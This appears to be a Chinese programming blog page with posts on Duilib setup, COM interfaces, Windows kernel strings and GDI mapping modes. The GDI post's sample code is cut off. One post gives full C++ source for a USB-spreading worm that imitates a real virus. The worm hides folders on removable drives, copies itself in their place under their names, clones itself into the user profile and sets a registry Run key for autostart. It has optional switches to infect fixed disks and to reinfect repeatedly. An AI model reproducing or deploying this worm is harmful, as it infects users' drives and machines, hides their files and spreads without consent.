四月 18

Duilib 初次配置的翻车记录

使用 vcpkg 安装 duilib 库

git clone https://github.com/Microsoft/vcpkg.git
cd vcpkg
.\bootstrap-vcpkg.bat
.\vcpkg integrate install
.\vcpkg install duilib

编写 Demo 代码

#include <DuiLib/UIlib.h>
using namespace DuiLib;

class CDuiFrameWnd : public CWindowWnd, public INotifyUI {
public:
	virtual LPCTSTR GetWindowClassName() const { return _T("DUIMainFrame"); }
	virtual void    Notify(TNotifyUI& msg) {}

	virtual LRESULT HandleMessage(UINT uMsg, WPARAM wParam, LPARAM lParam)
	{
		LRESULT lRes = 0;

		if (uMsg == WM_CREATE)
		{
			CControlUI* pWnd = new CButtonUI;
			pWnd->SetText(_T("Hello World"));   // 设置文字
			pWnd->SetBkColor(0xFF00FF00);       // 设置背景色

			m_PaintManager.Init(m_hWnd);
			m_PaintManager.AttachDialog(pWnd);
			return lRes;
		}

		if (m_PaintManager.MessageHandler(uMsg, wParam, lParam, lRes))
		{
			return lRes;
		}

		return __super::HandleMessage(uMsg, wParam, lParam);
	}

protected:
	CPaintManagerUI m_PaintManager;
};

int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow)
{
	CPaintManagerUI::SetInstance(hInstance);

	CDuiFrameWnd duiFrame;
	duiFrame.Create(NULL, _T("DUIWnd"), UI_WNDSTYLE_FRAME, WS_EX_WINDOWEDGE);
	duiFrame.ShowModal();
	return 0;
}

我在编译时遇到的两个问题

预定义宏

添加 ULIB_STATIC 预定义宏,否则会发生链接器找不到符号的错误

字符集设置

确保此处设置为 “ 使用多字节字符集 ”,否则使用 _T 宏包装参数后,调用某些带字符串参数的函数,会出现链接器找不到符号的错误

解决完毕截图

九月 5

仿写U盘文件夹伪装病毒

病毒特性

笔者之前遇见过一种专门感染 U 盘的病毒,它的主要特征就是将它的程序图标看起来就是文件夹的图标,对一般的电脑使用者具有很强的误导性。一旦误运行了此病毒,它会将系统上的可移动磁盘(类似 U 盘)中的文件夹进行隐藏,并且将它的可执行文件本体改为这些文件夹的名字,克隆到 U 盘中伪装起来。

U 盘将一直携带这种病毒,如果 U 盘插入到其他电脑上,使用者很可能会把那些很像文件夹的 “潜伏者” 当做文件夹打开,当然,使用者肯定会发现没办法打开这个文件夹,并且随着用户的打开操作,病毒又将在此电脑上运行起来,并将继续感染其他以后接入到系统中的可移动磁盘。如果是不懂电脑的人,可能还会认为是电脑或者 U 盘本身的问题,并为此苦恼。

仿写的源代码(C++)

#define _CRT_SECURE_NO_WARNINGS

/***********  开关参数  ************/
// 如果想否决,可以注释掉以下宏定义

// 是否使用强力模式,但是容易被检测,将可能重复感染
//#define STRONG

// 感染周期(ms)
#define SLEEP_TIME 5000 

// 是否随系统自动启动
#define AUTOBOOT

// 是否同时也感染硬盘
//#define ALL_DRIVE

/************************************/

#include <windows.h>
#include <string>

#ifdef STRONG

void xGetDirectory(std::string &strDrive, std::string strDirs[], int &nDrive) {
    WIN32_FIND_DATAA wfd;
    int n = 0;
    HANDLE hFile = FindFirstFileA((strDrive + *).c_str(), &wfd);	// 首次查询
    if (hFile == INVALID_HANDLE_VALUE) return;
    if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {	// 判断是否为目录(允许其他属性)
        strDirs[n++] = strDrive + wfd.cFileName;
    }
    BOOL bRet = TRUE;
    while (bRet) {	// 迭代操作记录目标驱动器的目录
        bRet = FindNextFileA(hFile, &wfd);
        if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {	// 判断是否为目录(允许其他属性)
            strDirs[n++] = strDrive + wfd.cFileName;
        }
    }
    FindClose(hFile);	// 关闭查询
    nDrive = n;
}

#else

void xGetDirectory(std::string &strDrive, std::string strDirs[], int &nDrive) {
    WIN32_FIND_DATAA wfd;
    int n = 0;
    HANDLE hFile = FindFirstFileA((strDrive + *).c_str(), &wfd);	// 首次查询
    if (hFile == INVALID_HANDLE_VALUE) return;
    if (wfd.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {	// 判断是否为目录(不允许其他属性)
        strDirs[n++] = strDrive + wfd.cFileName;
    }
    BOOL bRet = TRUE;
    while (bRet) {	// 迭代操作记录目标驱动器的目录
        bRet = FindNextFileA(hFile, &wfd);
        if (wfd.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {	// 判断是否为目录(不允许其他属性)
            strDirs[n++] = strDrive + wfd.cFileName;
        }
    }
    FindClose(hFile);	// 关闭查询
    nDrive = n;
}

#endif

void xGetRemovableDrive(std::string pstrDrive[], int &nDrive) {
    CHAR szBuff[MAX_PATH];
    DWORD nDrivesLen = GetLogicalDriveStringsA(MAX_PATH, szBuff);	// 获取逻辑驱动器字串
    int i, n = 0;
    std::string strTemp;

    for (int i = 0; i < nDrivesLen; i++) {	// 筛选驱动器循环
        if (szBuff[i] == '') {
            UINT iRes = GetDriveTypeA(strTemp.c_str());	// 获取驱动器类型
            if (iRes == DRIVE_REMOVABLE) {	// 判断是否为可移动磁盘
                pstrDrive[n] = strTemp;
                n += 1;
            }
            strTemp.clear();
        } else {
            strTemp.push_back(szBuff[i]);
        }
    }

    nDrive = n;
}

void xGetDrive(std::string pstrDrive[], int &nDrive) {
    CHAR szBuff[MAX_PATH];
    DWORD nDrivesLen = GetLogicalDriveStringsA(MAX_PATH, szBuff);	// 获取逻辑驱动器字串
    int i, n = 0;
    std::string strTemp;

    for (int i = 0; i < nDrivesLen; i++) {	// 筛选驱动器循环
        if (szBuff[i] == '') {
            UINT iRes = GetDriveTypeA(strTemp.c_str());	// 获取驱动器类型
            if (iRes == DRIVE_REMOVABLE || iRes == DRIVE_FIXED) {	// 判断是否为可移动磁盘或者固定磁盘
                pstrDrive[n] = strTemp;
                n += 1;
            }
            strTemp.clear();
        } else {
            strTemp.push_back(szBuff[i]);
        }
    }

    nDrive = n;
}

void xInject(const std::string &strObjDir) {
    const std::string strObjExe = strObjDir + .exe;	// 目标克隆体路径
    SetFileAttributesA(strObjDir.c_str(), FILE_ATTRIBUTE_HIDDEN);	// 设置文件夹的隐藏属性
    CHAR szBuff[MAX_PATH];
    GetModuleFileNameA(NULL, szBuff, MAX_PATH);
    CopyFileA(szBuff, strObjExe.c_str(), FALSE);	// 感染
}

void xCloneToLocalDrive() {
    CHAR szObjBuff[MAX_PATH] = { 0 }, szSrcBuff[MAX_PATH] = { 0 };
    GetEnvironmentVariableA(USERPROFILE, szObjBuff, MAX_PATH);
    GetModuleFileNameA(NULL, szSrcBuff, MAX_PATH);			// 取本体的完全路径
    std::string cmdline = (/Y /I /Q  + std::string(szSrcBuff)  +   + std::string(szObjBuff) + );	
    ShellExecuteA(NULL, NULL, xcopy.exe, cmdline.c_str(), NULL, SW_HIDE);	// 克隆本体
    SetFileAttributesA(szObjBuff, FILE_ATTRIBUTE_HIDDEN);	// 设置文件隐藏属性
}

#ifdef AUTOBOOT

void xSetAutoBoot() {
    xCloneToLocalDrive();	// 先克隆到本地
    HKEY hKey;
    LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, SOFTWARE\Microsoft\Windows\CurrentVersion\Run, 0, KEY_WRITE, &hKey);
    if (lRet == ERROR_SUCCESS) {
        CHAR szBuff[MAX_PATH] = { 0 };
        GetEnvironmentVariableA(USERPROFILE, szBuff, MAX_PATH);	// 获取用户目录
        strcat(szBuff, \ufolder.exe);
        DWORD nLen = strlen(szBuff);
        lRet = RegSetValueExA(hKey, ufolder, 0, REG_SZ, (BYTE *)szBuff, nLen * sizeof(char));	// 设置自启动
        RegCloseKey(hKey);
    }
}

#else

void xSetAutoBoot() {}

#endif

int WINAPI WinMain( __in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPSTR lpCmdLine, __in int nShowCmd) {
    
    std::string strDrives[MAX_PATH];
    std::string strDirs[MAX_PATH];
    int nDrive;
    int nDir;
    
    xSetAutoBoot();	// 设置本地随系统启动,并在后台运行

    // 感染驱动器
    while (1) {
#ifdef ALL_DRIVE	
        xGetDrive(strDrives, nDrive);
#else
        xGetRemovableDrive(strDrives, nDrive);
#endif
        for (int i = 0; i < nDrive; i++) {
            // 获取感染目标
            xGetDirectory(strDrives[i], strDirs, nDir);
            for (int j = 0; j < nDir; j++) {
                xInject(strDirs[j]);	// 执行感染
            }
        }
        Sleep(SLEEP_TIME);	// 嘘~ 休整一下吧
        xCloneToLocalDrive();	// 做一下克隆到本地
    }
    return 0;
}

 

额外需要注意的

为了伪装,文件夹图标肯定少不了,可以在 VS 中包含在项目资源里面与源代码一同编译

伪装文件夹的图标资源(.ico)下载

U盘感染后的效果图

这里演示的效果没有勾选 “显示隐藏文件” 和 “显示已知文件的扩展名” 这两个选项

七月 16

COM 学习笔记 (2) : 接口查询

IUnknown 接口概述

引述

客户对组件的了解是非常有限的,为知道某个组件是否支持某个特定的接口,客户可以在运行时询问组件。即使组件不支持所需要的某个接口,客户也可以在请求失败时很好地处理这种情形

IUnknown 接口

COM 中所有内容最终都起于接口、又最终归于接口。所有的 COM 接口都继承于 IUnknown 接口,该接口的定义如下:

// 该接口在头文件 unknwn.h 中定义,interface 是与 struct 绑定的宏,这样所有成员默认是 public 的,刚好符合接口的封装需求

interface IUnknown {
	virtual HRESULT __stdcall QueryInterface(const IID& iid, void** ppv) = 0;
	virtual ULONG __stdcall AddRef() = 0;
	virtual ULONG __stdcall Release() = 0;
};

接口查询

因为 所有的 COM 接口都继承于 IUnknown 接口,所以客户只需要一个 IUnknown 接口的指针,而且无需知道它所拥有的接口指针到底是什么类型的,就可以查询其他接口

由于所有的 COM 接口都继承了 IUnknown,所以每个接口的虚函数表(vtbl)中的前三个函数都是 QueryInterface、AddRef 和 Release。这便使得所有 COM 接口都可当做 IUnknown 接口来处理

纯虚函数 QueryInterface

IUnknown 包含一个名为 QueryInterface 的纯虚成员函数,客户可以通过此函数来查询某个组件是否支持某个特定的接口。若支持,则 QueryInterface 将返回一个指向此接口的指针,否则返回值将是一个错误代码。然后客户可以接着查询其他接口或将组件卸载

  • QueryInterface 的函数原型
HRESULT __stdcall QueryInterface(const IID &iid, void **ppv);
  • 参数 iid

iid 是一个接口标识符(IID)结构, 用于标识客户所需的接口,从客户的角度上来说,指定一个 IID 以使得 QueryInterface 函数利用此接口标识符来查询接口

  • 参数 ppv

ppv 是一个二级指针,QueryInterface 函数将存放客户所请求的接口的地址到其中

  • 返回值(HRESULT 类型)

HRESULT 是具有特定格式的 32 位值,此函数返回 S_OK 或者 E_NOINTERFACE。对其返回值进行判断时应该使用 SUCCEEDED 宏或 FAILED 宏,不应该直接比较


// 使用示例
void foo(IUnknown *pI) {
    // 为接口定义一个指针
    IX *pIX = nullptr;
    
    // 使用 IUnknown 的 QueryInterface 函数来查询接口 IX(接口标识符是 IID_IX)
    HRESULT hr = pI->QueryInterface(IID_IX, (void **)&pIX);

    // 检查返回值
    if (SUCCEEDED(hr)) {
        // 可以使用接口了 (比如调用某个函数)
        pIX->Fx();
    }
} 

QueryInterface 的实现

QueryInterface 的实现其实比较简单。它只需根据某个给定的 IID(接口标识符),返回相应接口的指针。若组件支持,函数就返回 S_OK 以及相应的接口的指针,否则函数就应返回 E_NOINTERFACE,并将指针值置为 nullptr

  • 示例代码
// 一些示例接口、实现类
interface IX : IUnknown { /*...*/ };
interface IY : IUnknown { /*...*/ };
class CA : public IX, public IY { /*...*/ };

// QueryInterface 在 CA 类上的实现
HRESULT __stdcall CA::QueryInterface(const IID &iid, void **ppv) {

    if (iid == IID_IUnknown) {
        // 客户需要 IUnknown 接口
        *ppv = static_cast<IX *>(this);

    } else if (iid == IID_IX) {
        // 客户需要 IX 接口
        *ppv = static_cast<IX *>(this);

    } else if (iid == IID_IY) {
        // 客户需要 IY 接口
        *ppv = static_cast<IY *>(this);

    } else {
        // 不支持的接口,返回 E_NOINTERFACE,并将返回指针置为 nullptr
        *ppv = nullptr;
        return E_NOINTERFACE;
    }
    
    // 增加引用计数(暂时先不关心)
    static_cast<IUnknown *>(*ppv)->AddRef();

    // 接口受支持,返回 S_OK
    return S_OK;
}

完整示例代码

// 本代码修改自《COM技术内幕》第 35 页

#include <iostream>
#include <objbase.h>

using namespace std;

void trace(const char* msg) { cout << msg << endl; }

interface IX : IUnknown {
    virtual void __stdcall Fx() = 0;
};

interface IY : IUnknown {
    virtual void __stdcall Fy() = 0;
};

interface IZ : IUnknown {
    virtual void __stdcall Fz() = 0;
};

extern const IID IID_IX;
extern const IID IID_IY;
extern const IID IID_IZ;

class CA : public IX, public IY {
    // IUnknown implementation
    virtual HRESULT __stdcall QueryInterface(const IID& iid, void** ppv);
    virtual ULONG __stdcall AddRef() { return 0; }
    virtual ULONG __stdcall Release() { return 0; }

    // Interface IX implementation
    virtual void __stdcall Fx() { cout << "Fx" << endl; }
	
    // Interface IY implementation
    virtual void __stdcall Fy() { cout << "Fy" << endl; }
};

HRESULT __stdcall CA::QueryInterface(const IID& iid, void** ppv) {
	if (iid == IID_IUnknown) {
	    trace("QueryInterface: Return pointer to IUnknown");
	    *ppv = static_cast<IX *>(this);
	}
	else if (iid == IID_IX) {
	    trace("QueryInterface: Return pointer to IX");
	    *ppv = static_cast<IX *>(this);
	}
	else if (iid == IID_IY) {
	    trace("QueryInterface: Return pointer to IY");
	    *ppv = static_cast<IY *>(this);
	}
	else {
	    trace("QueryInterface: Interface not supported.");
	    *ppv = NULL;
	    return E_NOINTERFACE;
	}

	reinterpret_cast<IUnknown *>(*ppv)->AddRef();
	return S_OK;
}

IUnknown* CreateInstance() {
	IUnknown* pI = static_cast<IX*>(new CA);
	pI->AddRef();
	return pI;
}

static const IID IID_IX = 
{ 0x32bb8320, 0xb41b, 0x11cf, {0xa6, 0xbb, 0x0, 0x80, 0xc7, 0xb2, 0xd6, 0x82} };

static const IID IID_IY =
{ 0x32bb8321, 0xb41b, 0x11cf, {0xa6, 0xbb, 0x0, 0x80, 0xc7, 0xb2, 0xd6, 0x82} };

static const IID IID_IZ =
{ 0x32bb8322, 0xb41b, 0x11cf, {0xa6, 0xbb, 0x0, 0x80, 0xc7, 0xb2, 0xd6, 0x82} };

int main() {
    HRESULT hr;
    trace("Client: Get an IUnknown pointer.");
    IUnknown* pIUnknown = CreateInstance();

    trace("Client: Get interface IX.");
    IX *pIX = NULL;
    hr = pIUnknown->QueryInterface(IID_IX, (void**)& pIX);
    if (SUCCEEDED(hr)) {
        trace("Client: Succeeded getting IX.");
        pIX->Fx();
    }

    trace("Client: Get interface IY.");
    IY *pIY = NULL;
    hr = pIUnknown->QueryInterface(IID_IY, (void**)& pIY);
    if (SUCCEEDED(hr)) {
        trace("Client: Succeeded getting IY.");
        pIY->Fy();
    }

    trace("Client: Ask for an unsupported interface.");
    IZ *pIZ = NULL;
    hr = pIUnknown->QueryInterface(IID_IZ, (void**)& pIZ);
    if (SUCCEEDED(hr)) {
        trace("Client: Succeeded getting IZ.");
        pIZ->Fz();
    }
    else {
        trace("Client: Could not get interface IZ.");
    }

    trace("Client: Get interface IY from interface IX.");
    IY *pIYfromIX = NULL;
    hr = pIX->QueryInterface(IID_IY, (void**)& pIYfromIX);

    if (SUCCEEDED(hr)) {
        trace("Client: Succeeded getting IY.");
        pIYfromIX->Fy();
    }

    trace("Client: Get interface IUnknown from IY.");
    IUnknown *pIUnknownFromIY = NULL;
    hr = pIX->QueryInterface(IID_IUnknown, (void**)& pIUnknownFromIY);
    if (SUCCEEDED(hr)) {
        cout << "Are the IUnknown pointers equal?    ";
        if (pIUnknownFromIY == pIUnknown) {
	    cout << "Yes, pIUnknownFromIY == pIUnknown." << endl;
        }
        else {
            cout << "No, pIUnknownFromIY != pIUnknown." << endl;
        }
    }

    delete pIUnknown;
    return 0;
}

若运行将有如下输出结果

Client: Get an IUnknown pointer.
Client: Get interface IX.
QueryInterface: Return pointer to IX
Client: Succeeded getting IX.
Fx
Client: Get interface IY.
QueryInterface: Return pointer to IY
Client: Succeeded getting IY.
Fy
Client: Ask for an unsupported interface.
QueryInterface: Interface not supported.
Client: Could not get interface IZ.
Client: Get interface IY from interface IX.
QueryInterface: Return pointer to IY
Client: Succeeded getting IY.
Fy
Client: Get interface IUnknown from IY.
QueryInterface: Return pointer to IUnknown
Are the IUnknown pointers equal?    Yes, pIUnknownFromIY == pIUnknown.

参考资料

[1] (美)Dale Rogerson , 李忠 , 王晓波 . COM 技术内幕 – 微软组件对象模型 [M] . 北京 : 清华大学出版社 , 1991.

七月 15

COM 学习笔记 (1) : COM 简明概念

COM 的简明概念

面向组件编程的优点

  • 应用的可定制性

用户希望能够定制他们的应用,而程序员可以为用户建立应用定制方案 —— 通过组件架构本身的可定制性(用户能使用需要的组件来将某个组件替换掉)

  • 组件库

组件架构拥有快速应用开发的优点,程序员可以某个组件库中取出所需的组件并将其快速地组装到一起,构造出所需的应用(如同搭积木)

  • 分布式组件

对于 C/S(客户机 / 服务器)模式的应用而言,应用已经被划分成位于远程的各个功能部分,因为任一组件均可做替换,所以可以将某个组件替换为专门负责同某个远程组件通信的组件

COM 的特点

COM 可以满足前面讨论过的所有组件架构的要求。它使用 DLL 来提供可在运行时被替换掉的组件。COM 借助于如下一些手段保证这些组件可以充分利用动态链接所带来的各种好处

  • 提供了一个所有组件都应遵守的标准
  • 允许使用组件的多个不同的版本,而且这一点对于客户机而言几乎是透明的
  • 使得可以按相同的方式来处理类似的组件
  • 定义了一个与语言无关的架构
  • 支持对远程组件的透明链接

COM 接口(Interface)

在 COM 中,接口是一个包含一个函数指针数组的结构,数组的每一个元素包含的是一个由组件实现的函数的地址

对 COM 而言,接口就是这个内存结构,其他的都不是 COM 需要关心的细节

在 C++ 中,我们使用抽象基类(abstract base class)来实现 COM 接口

因为一个 COM 组件可以支持任意数目的接口,因为对于此类组件,应使用抽象基类的多重继承来实现之

COM 接口的关键要素

  • COM 接口在 C++ 中是用纯抽象基类实现的
  • 一个 COM 组件可以支持多个接口
  • 一个 C++ 类可以使用多继承来实现多个接口的组件

参考资料

[1] (美)Dale Rogerson , 李忠 , 王晓波 . COM 技术内幕 – 微软组件对象模型 [M] . 北京 : 清华大学出版社 , 1991.

五月 24

Windows 内核字符串


UNICODE_STRING 结构

Unicode 字符串的结构定义如下

typedef struct _UNICODE_STRING {
    USHORT Length;            // 字符串长度(Byte)
    USHORT MaxiumLength;    // 字符缓冲区长度(Byte)
    PWSTR Buffer;            // 字符串缓冲区
} UNICODE_STRING, *PUNICODE_STRING

需要注意的是 UNICODE_STRING 结构中的缓冲区 Buffer 并不一定保证是以 ‘\0’ 空字符结束的,所以最好不要使用传统的字符串函数对其进行操作


内核字符串相关的 API

这里笔者写出一些常用的内核字符串的 API,关于字符串的初始化、拷贝、连接(追加)和格式化输出。

字符串的初始化

  • RTL_CONSTANT_STRING 宏

此宏用于根据显式指定的字符串来初始化一个 UNICODE_STRING 字符串

  #include <ntdef.h>
  UNICODE_STRING str = RTL_CONSTANT_STRING(L"this is my string");

需要注意的是 RTL_CONSTANT_STRING 宏只能用于 UNICODE_STRING 结构变量的定义式。

  • RtlInitUnicodeString 函数

此函数用于根据显式指定的字符串来初始化一个 UNICODE_STRING 字符串

  UNICODE_STRING str;
  RtlInitUnicodeString(&str, L"this is my string");
  • RtlInitEmptyString 函数

此函数用于根据指定的缓冲区空间来初始化一个 UNICODE_STRING 空字符串,与前两者不同之处在于,此函数将需要分配额外的内存缓冲区空间(在栈上或者在堆上)

  UNICODE_STRING str;
  WCHAR buff[256];    // 定义缓冲区空间,256 * sizeof(WCHAR) 共 512 字节

  // 使用自定义的缓冲区空间 buff 来初始化字符串 str,第三个参数即缓冲区空间大小(字节数)
  RtlInitEmptyString(&str, buff, 256 * sizeof(WCHAR));

字符串的拷贝

  • RtlCopyUnicodeString 函数

此函数用于将源字符串拷贝至目标字符串(当然,这里说的是深拷贝)

  UNICODE_STRING dest_str;
  WCHAR dest_buff[256];    // 定义缓冲区空间,256 * sizeof(WCHAR) 共 512 字节

  // 用显式指定的字符串来初始化源字符串
  UNICODE_STRING src_str = RTL_CONSTANT_STRING(L"this is source string");

  // 把目标字符串初始化为缓冲区为 dest_buff 的空字符串,大小为 256 * sizeof(WCHAR)
  RtlInitEmptyString(&dest_str, dest_buff, 256 * sizeof(WCHAR));
  RtlCopyUnicodeString(&dest_str, &src_str); // 字符串拷贝

需要注意的是,使用 RtlCopyUnicodeString 函数拷贝字符串的时候,如果目标字符串的缓冲区最大长度小于源字符串的长度,拷贝时字符串将被截短,这取决于目标字符串的缓冲区最大长度。

字符串的连接(追加)

  • RtlAppendUnicodeToString 函数

此函数用于将显式指定的字符串追加到目标 UNICODE_STRING 字符串的末尾,在如下示例代码中,dest_str 是 UNICODE_STRING 结构,函数第二个参数即显式指定的源字符串

  NTSTATUS status; // NTSTATUS 枚举

  // 如果成功,将返回 STATUS_SUCCESS,缓冲区不够则返回 STATUS_BUFFER_TOO_SMALL
  status = 
      RtlAppendUnicodeToString(&dest_str, L"this is a string which you want to append");
  • RtlAppendUnicodeStringToString 函数

此函数用于将源 UNICODE_STRING 字符串追加到目标 UNICODE_STRING 字符串的末尾,在如下示例代码中,dest_str 与 src_str 都是 UNICODE_STRING 结构

  NTSTATUS status; // NTSTATUS 枚举

  // 如果成功,将返回 STATUS_SUCCESS,缓冲区不够则返回 STATUS_BUFFER_TOO_SMALL
  status = 
      RtlAppendUnicodeToString(&dest_str, &src_str);

字符串的格式化输出

  • RtlStringCbPrintfW 函数
  #include <ntstrsafe.h>

  // 暂且把缓冲区定义在栈中
  WCHAR dest_buff[512] = { 0 };
  UNICODE_STRING dest;
  NTSTATUS status;        // NTSTATUS 枚举

  /* ...... */

  // 字符串初始化为指定缓冲区为 buff 的空字符串,缓冲区长度为 512 * sizeof(WCHAR)
  RtlInitEmptyString(&dest, dest_buff, 512 * sizeof(WCHAR));

  // 调用 RtlStringCbPrintfW 函数进行字符串格式化输出,其中 filepath 是个 UNICODE_STRING 结构
  // 使用格式化符 %wZ 可以直接打印出 UNICODE_STRING 结构的字符串
  status = 
      RtlStringCbPrintfW(dest.Buffer, 512 * sizeof(WCHAR), 
                         L"file path = %wZ, file size = %d \r\n", 
                         &file_path, file_size);

  // 这里调用 wcslen 函数没有问题,因为 RtlStringCbPrintfW 打印的字符串以 '\0' 结束
  dest.Length = wcslen(dest.Buffer) * sizeof(WCHAR); // 字节数

RtlStringCbPrintfW 函数需要包含 ntstrsafe.h 头文件,链接的时候需要链接库 ntsafestr.lib。

如果在目标缓冲区空间不足的情况下,此函数将对字符串进行截短,并返回 STATUS_BUFFER_OVERFLOW。

六月 5

GDI 映射模式(11)

概述

调用 SetMapMode 函数可以设置映射模式:

int SetMapMode(  
    HDC hdc,           // 设备环境句柄
    int fnMapMode   // 要设置的映射模式
);

同样,调用 GetMapMode 函数可以获取映射模式:

int GetMapMode(
    HDC hdc   // 设备环境句柄
);

注:

  • 默认情况下,映射模式是 MM_TEXT,以像素为单位操作。
  • 映射模式的逻辑坐标只对以设备环境句柄为参数的 GDI 函数有效,非 GDI 函数将继续使用设备坐标

设备坐标系统

  1. 屏幕坐标系统:屏幕左上角坐标为(0,0)
  2. 全窗口坐标系统:窗口边框左上角坐标为(0,0)
  3. 设备坐标系统:客户区左上角坐标为(0,0)

设备坐标和逻辑坐标

设备坐标指视口坐标,逻辑坐标指窗口坐标

在 MM_TEXT 映射模式下,逻辑坐标与设备坐标重合,更改映射模式后,逻辑坐标对设备坐标的映射方法将发生改变。

xView=(xWin-xWinOrg)*(xViewExt/xWinExt)+xViewOrg

yView=(yWin-yWinOrg)*(yViewExt/yWinExt)+yViewOrg

 

窗口和视口

调用 SetViewPortOrgEx 函数可以设置视口(设备坐标)的原点

调用 SetWindowOrgEx 函数可以设置窗口(逻辑坐标)的原点

 

(实际上,这两个函数是改变了设备坐标到逻辑坐标的映射方式,而设备坐标永远是(0,0))

例如 SetViewPortOrgEx ( hdc, 40, 40 ) 其实是将设备坐标(40,40)映射到了逻辑坐标原点(0,0)

例如 SetWindowOrgEx ( hdc, 40, 40 ) 其实是将逻辑坐标(40,40)映射到了设备坐标原点(0,0)

 

坐标转换

调用 LPToDP 函数可以将逻辑坐标转换成设备坐标

调用 DPToLP 函数可以将设备坐标转换成逻辑坐标

 

各同向性和各异向性映射模式

当第一次指定各同向性(MM_ISOTROPIC)和各异向性(MM_ANISOTROPIC)的映射模式时, 和 MM_LOMETRIC 映射模式有相同的效果

调用 SetViewPortExtEx 函数可以设置视口(设备坐标)区域的大小(仅在各同向性(MM_ISOTROPIC)和各异向性(MM_ANISOTROPIC)的映射模式中起作用)

调用 SetWindowExtEx 函数可以设置窗口(逻辑坐标)区域的大小(仅在各同向性(MM_ISOTROPIC)和各异向性(MM_ANISOTROPIC)的映射模式中起作用)

 

(SetWindowExtEx 和 SetViewPortExtEx 函数,必须先后都调用,SetWindowExtEx 最好在 SetViewPortExtEx 前调用,这两个函数的本质是设置一种从逻辑坐标到设备坐标的缩放比例,实际上最终要转换到用以下两个公式来换算逻辑坐标位置映射到的设备坐标位置)

xView=(xWin-xWinOrg)*(xViewExt/xWinExt)+xViewOrg

yView=(yWin-yWinOrg)*(yViewExt/yWinExt)+yViewOrg

 

MM_ISOTROPIC 和 MM_ANISOTROPIC 的区别:

MM_ISOTROPIC 会将横纵坐标的缩放比例保持一致(以比例较小的为标准),故当逻辑区域大小改变的时候,图形不会发生拉伸现象,会保持横纵缩放比例一致。

MM_ANISOTROPIC 不会将横纵坐标缩放比例保持一致,故当逻辑区域大小改变的时候,图形将可能会发生拉伸现象。

 

WHATSIZE 示例程序

#include 
#include 

void Show(HWND hwnd, HDC hdc, int xText, int yText, int iMapMode, LPCTSTR szMapMode) {
	TCHAR szBuffer[60];
	size_t ccLength;
	RECT rcClient;

	SaveDC(hdc);
	SetMapMode(hdc, iMapMode);
	GetClientRect(hwnd, &rcClient);
	DPtoLP(hdc, (LPPOINT)&rcClient, 2);
	RestoreDC(hdc, -1);

	StringCchPrintf(szBuffer, sizeof(szBuffer) / sizeof(TCHAR), TEXT("%-20s %7d %7d %7d %7d"), szMapMode, rcClient.left, rcClient.right, rcClient.top, rcClient.bottom);
	StringCchLength(szBuffer, sizeof(szBuffer) / sizeof(TCHAR), &ccLength);
	TextOut(hdc, xText, yText, szBuffer, ccLength);
}

LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) {
	
	HDC hdc;
	static int cxChar, cyChar;
	PAINTSTRUCT ps;
	TEXTMETRIC tm;
	static TCHAR szHeading[] = TEXT("Mapping Mode            Left   Right     Top  Bottom");
	static TCHAR szUndLine[] = TEXT("------------            ----   -----     ---  ------");
	size_t ccLength;

	switch (message) {
	case WM_CREATE:
		hdc = GetDC(hwnd);
		SelectObject(hdc, GetStockObject(SYSTEM_FIXED_FONT));
		
		GetTextMetrics(hdc, &tm);
		cxChar = tm.tmAveCharWidth;
		cyChar = tm.tmHeight + tm.tmExternalLeading;

		ReleaseDC(hwnd, hdc);
		return 0;

	case WM_PAINT:
		hdc = BeginPaint(hwnd, &ps);

		SelectObject(hdc, GetStockObject(SYSTEM_FIXED_FONT));
		SetMapMode(hdc, MM_ANISOTROPIC);
		SetWindowExtEx(hdc, 1, 1, NULL);
		SetViewportExtEx(hdc, cxChar, cyChar, NULL);

		StringCchLength(szHeading, sizeof(szHeading) / sizeof(TCHAR), &ccLength);
		TextOut(hdc, 1, 1, szHeading, ccLength);

		StringCchLength(szUndLine, sizeof(szUndLine) / sizeof(TCHAR), &ccLength);
		TextOut(hdc, 1, 2, szUndLine, ccLength);

		Show(hwnd, hdc, 1, 3, MM_TEXT, TEXT("TEXT (pixels)"));
		Show(hwnd, hdc, 1, 4, MM_LOMETRIC, TEXT("LOMETRIC (.1 mm)"));
		Show(hwnd, hdc, 1, 5, MM_HIMETRIC, TEXT("HIMETRIC (.01 mm)"));
		Show(hwnd, hdc, 1, 6, MM_LOENGLISH, TEXT("LOENGLISH (.01 in)"));
		Show(hwnd, hdc, 1, 7, MM_HIENGLISH, TEXT("HIENGLISH (.001 in)"));
		Show(hwnd, hdc, 1, 8, MM_TWIPS, TEXT("TWIPS (1 / 1440 in)"));

		EndPaint(hwnd, &ps);
		return 0;

	case WM_DESTROY:
		PostQuitMessage(0);
		return 0;

	}
	
	return DefWindowProc(hwnd, message, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
	
	LPCTSTR lpszClassName = TEXT("WHATSIZE");
	LPCTSTR lpszWindowName = TEXT("WHATSIZE Program");
	WNDCLASS wndclass;
	HWND hwnd;
	MSG msg;

	wndclass.cbClsExtra = 0;
	wndclass.cbWndExtra = 0;
	wndclass.hbrBackground = (HBRUSH) GetStockObject(WHITE_BRUSH);
	wndclass.hCursor = LoadCursor(NULL, IDC_ARROW);
	wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
	wndclass.hInstance = hInstance;
	wndclass.lpfnWndProc = WndProc;
	wndclass.lpszClassName = lpszClassName;
	wndclass.lpszMenuName = NULL;
	wndclass.style = CS_HREDRAW | CS_VREDRAW;

	if (!RegisterClass(&wndclass)) {
		MessageBox(NULL, TEXT("window class registering failed!"), TEXT("Error"), MB_ICONERROR);
		return 0;
	}

	hwnd = CreateWindow(
		lpszClassName,
		lpszWindowName,
		WS_OVERLAPPEDWINDOW,
		CW_USEDEFAULT,
		CW_USEDEFAULT,
		CW_USEDEFAULT,
		CW_USEDEFAULT,
		NULL,
		NULL,
		hInstance,
		NULL
	);

	ShowWindow(hwnd, nCmdShow);
	UpdateWindow(hwnd);

	while (GetMessage(&msg, NULL, 0, 0)) {
		TranslateMessage(&msg);
